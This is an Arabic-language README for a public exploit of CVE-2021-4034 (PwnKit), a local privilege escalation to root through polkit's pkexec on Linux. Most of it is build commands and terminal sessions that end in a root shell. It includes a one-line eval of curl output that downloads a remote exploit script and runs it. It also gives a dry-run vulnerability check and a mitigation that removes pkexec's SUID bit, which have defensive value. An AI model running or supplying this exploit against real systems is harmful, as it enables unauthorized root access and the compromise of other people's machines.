
استغلال لـ CVE-2021-4034 (PwnKit) يستهدف polkit pkexec لتحقيق تصعيد الامتيازات المحلية إلى الجذر على أنظمة Linux. يتضمن وضع التشغيل الجاف لاختبار الثغرة.
يوم واحد لاستغلال تصعيد الامتيازات في polkit
فقط قم بتشغيل make، ثم ./cve-2021-4034 واستمتع بصدفة root.
النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا
إذا كان الاستغلال يعمل، ستحصل على صدفة root فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح الثغرة، وبالتالي ستحصل على رسالة الاستخدام وسيخرج البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
لعدم تنفيذ shell، ولكن فقط لاختبار ما إذا كان النظام ضعيفًا، قم بترجمة الهدف dry-run.
إذا طبع البرنامج "root" عند الخروج، فهذا يعني أن نظامك معرّض للاستغلال.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
إذا لم يكن نظامك معرّضًا، فسيطبع رسالة خطأ ويخرج.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الامتيازات على مستوى النظام في أنظمة التشغيل الشبيهة بـ Unix. يوفر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. من الممكن أيضًا استخدام polkit لتنفيذ الأوامر بامتيازات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحيات root).
يمكنك بسهولة استغلال النظام باستخدام سكربت واحد، يمكن تنزيله وتنفيذه بهذا الأمر:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
إذا لم تتوفر تصحيحات لنظام التشغيل لديك، يمكنك إزالة بِت SUID من pkexec كإجراء تخفيف مؤقت.
# chmod 0755 /usr/bin/pkexec
عندها سيفشل الاستغلال مع شكوى تفيد بأنه يجب أن يكون بِت setuid مفعّلاً في pkexec.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root